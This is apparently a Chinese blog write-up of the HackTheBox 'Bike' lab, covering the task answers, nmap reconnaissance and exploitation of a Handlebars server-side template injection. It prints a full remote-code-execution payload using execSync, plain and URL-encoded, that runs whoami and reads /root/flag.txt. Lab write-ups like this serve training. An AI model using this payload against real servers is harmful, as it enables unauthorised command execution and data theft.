HackTheBox-Starting Point--Tier 1---Bike

2023-11-07 00:44

本文主要是介绍HackTheBox-Starting Point--Tier 1---Bike,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 一 题目
    • 二 实验过程
    • 三 服务器端模版引擎注入(SSTI)
      • 1.什么是模版引擎
      • 2.SSTI
      • 3.挖掘SSTI
      • 4.执行payload


一 题目

Tags

Web、Injection、Custom Applications、NodeJS、Reconnaissance、Remote Code Execution、Server Side Template Injection (SSTI)译文:Web、注入、定制应用程序、NodeJS、侦察、远程代码执行、服务器端模板注入 (SSTI)

Connect

To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

SPAWN MACHINE

Spawn the target machine and the IP will show here.译文:生成目标机器,IP 将显示在此处

TASK 1

What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.译文:nmap 识别哪些 TCP 端口为开放?回答以逗号分隔的端口列表,不带空格,从低到高。答:22,80

TASK 2

What software is running the service listening on the http/web port identified in the first question?译文:什么软件正在运行侦听第一个问题中标识的 http/web 端口的服务?答:Node.js

TASK 3

What is the name of the Web Framework according to Wappalyzer?译文:根据 Wappalyzer,Web 框架的名称是什么?答:Express

TASK 4

What is the name of the vulnerability we test for by submitting {{7*7}}?译文:我们通过提交 {{7*7}} 测试的漏洞的名称是什么?答:Server Side Template Injection

TASK 5

What is the templating engine being used within Node.JS?译文:Node.JS 中使用的模板引擎是什么?答:handlebars

TASK 6

What is the name of the BurpSuite tab used to encode text?译文:用于对文本进行编码的 BurpSuite 选项卡的名称是什么?答:Decoder

TASK 7

In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?译文:为了在 HTTP 请求中发送有效负载中的特殊字符,我们将对有效负载进行编码。我们使用什么类型的编码?答:url

TASK 8

When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?译文:当我们使用 HackTricks 中的有效负载尝试运行系统命令时,我们会收到错误消息。响应错误中的“未定义”是什么?答:require

TASK 9

What variable is the name of the top-level scope in Node.JS?译文:Node.JS 中顶级作用域的名称是什么变量?答:global

TASK 10

By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?译文:通过利用此漏洞,我们可以以 Web 服务器运行时的用户身份执行命令。该用户的名字是什么?答:root

SUBMIT FLAG

Submit root flag译文:提交根标志

二 实验过程

1.端口扫描

nmap -sV -sC 10.129.255.141

在这里插入图片描述

2.访问80端口
在这里插入图片描述

3.指纹识别
  服务器是基于Node.js构建的,并且使用Express框架。

在这里插入图片描述


三 服务器端模版引擎注入(SSTI)

1.什么是模版引擎

  模版引擎用于在网页上显示动态生成的内容,用用户输入替换模版文件的变量,并将这些值显示给客户端。

2.SSTI

  SSTi是指攻击者向模版中注入恶意输入以在服务器上上执行恶意命令的漏洞。攻击者在本地将代码注入网页中,代码通过模版引擎运行,而不是作为数据传入时,在受影响的服务器上执行。这种攻击者Node.js中较为常见。

3.挖掘SSTI

  在E-mail输入框输入SSIT探测字符{{7*7}},页面报错,报错信息显示使用handlebars模版引擎,并且在/root/Backend目录下运行。

在这里插入图片描述

4.执行payload

  下述payload执行whoami命令。

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

  其中 execsync('----') 部分为我们需要更改执行的命令

 {{this.push "return process。process.mainModule.require('child_process').execSync('whoami');"}}

  对payload进行URL编码:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

  使用burpsuite抓包,更改email参数为URL编码下的payload,命令执行成功

在这里插入图片描述
  执行命令查看root目录 ls /root/flag.txt,对payload进行url编码

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

这篇关于HackTheBox-Starting Point--Tier 1---Bike的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/360100

相关文章

时间序列|change point detection

change point detection 被称为变点检测,其基本定义是在一个序列或过程中,当某个统计特性(分布类型、分布参数)在某时间点受系统性因素而非偶然因素影响发生变化,我们就称该时间点为变点。变点识别即利用统计量或统计方法或机器学习方法将该变点位置估计出来。 Change Point Detection的类型 online 指连续观察某一随机过程,监测到变点时停止检验,不运用到

COD论文笔记 ECCV2024 Just a Hint: Point-Supervised Camouflaged Object Detection

这篇论文的主要动机、现有方法的不足、拟解决的问题、主要贡献和创新点: 1. 动机 伪装物体检测(Camouflaged Object Detection, COD)旨在检测隐藏在环境中的伪装物体,这是一个具有挑战性的任务。由于伪装物体与背景的细微差别和模糊的边界,手动标注像素级的物体非常耗时,例如每张图片可能需要 60 分钟来标注。因此,作者希望通过减少标注负担,提出了一种仅依赖“点标注”的弱

HTB-bike(SSTI模版注入)

前言 大家好,我是qmx_07,今天给大家讲解bike靶场 渗透过程 信息搜集 服务器开放了 22 ssh 和 http80端口 Wappalyzer 介绍:Wappalyzer是一种浏览器扩展程序,用于识别正在访问的网站所使用的技术栈和工具,比如使用的web框架,编程语言等 服务器所使用Express框架 发现SSTI模版注入 可以看到这个输入框,用来输出 内容尝试x

POL(Point-of-Load)负载点电源

负载点(POL)电源在靠近负载处单独放置电源调节器(线性稳压器或DC-DC),解决了高性能半导体器件,例如:微控制器、ASIC等,所面临的高峰值电流、低噪声裕量等设计挑战。 一般我们会把负载点电源尽量靠近负载放置, 这么做可以最大限度地确保供电效率和准确性。 图 1 常见POL电源的拓扑结构 Typical设计POL设计

【译】PCL官网教程翻译(17):快速点特征直方图(FPFH)描述符 -Fast Point Feature Histograms (FPFH) descriptors

英文原文阅读 快速点特征直方图(FPFH)描述符 计算复杂度直方图(见点特征直方图(PFH)描述符)对于一个给定的有 n n n个点的点云 P P P为 O ( n k 2 ) O (nk ^ 2) O(nk2), k k k是每个点P的最邻近点个数。对于要求实时或接近实时的应用程序,密集点的特征直方图的计算效率是一个一个主要问题。 本教程描述了PFH公式的简化,称为快速点特征直方图(FPF

【译】PCL官网教程翻译(16):点特征直方图(PFH)描述符 -Point Feature Histograms (PFH) descriptors

英文原网页查看。 点特征直方图(PFH)描述符 就点特征表示而言,表面法线和曲率估计是在表示特定点周围的基本的几何形状方面。虽然计算速度极快,也很容易,但是它们不能捕捉太多的细节,因为它们只能用很少的值来近似一个点的k邻域的几何形状。直接的结果是,大多数场景将包含许多具有相同或非常相似的特征值的点,从而减少了它们的信息特征。 本教程介绍了一组为简单起见而创建的3D特征描述符PFH(点特征直方图

【CVPR‘24】深度补全:Flexible Depth Completion for Sparse and Varying Point Densities

【CVPR'24】深度补全:Flexible Depth Completion for Sparse and Varying Point Densities 摘要1. 引言3. 方法3.1 基础深度估计架构3.2 基于亲和度的偏移校正3.3 校正置信度预测3.4 联合深度估计与完成3.5 损失 4. 实验4.1 数据集和评估指标4.2 实验概述4.3 消融研究 参考文献 摘要

Starting nginx: nginx: [emerg] bind() to 0.0.0.0:8091 failed (13: Permission denied)

Starting nginx: nginx: [emerg] bind() to 0.0.0.0:8091 failed (13: Permission denied) nginx 启动失败,日志里面报错信息如下:  Starting nginx: nginx: [emerg] bind() to 0.0.0.0:8095 failed (13: Permission denied) 权限拒绝,经

HackTheBox-MonitorsThree【更新中】

总体思路 信息收集&端口利用 nmap -p1-10000 monitorsthree.htb 目标主要开放了22和80端口,还有一个8084的websnp端口 先看80端口,是一个产品界面,介绍了他们的一些防火墙、网络解决方案等等 注意到界面中有一个登录按钮,点击查看 在尝试弱口令和万能密码无果后,看到下方还存在一个忘记密码的界面,打开它 这里提示我们需要输入用户

starting container process caused exec: \nvidia-smi\: executable file not found in $PATH

1、问题描述: 我在安装好了nvidia-docker之后,按照网上的教程执行: #nvidia-docker run --rm nvidia/cuda nvidia-smi 结果报如下错误: container_linux.go:247: starting container process caused "exec: \"nvidia-smi\": executable file not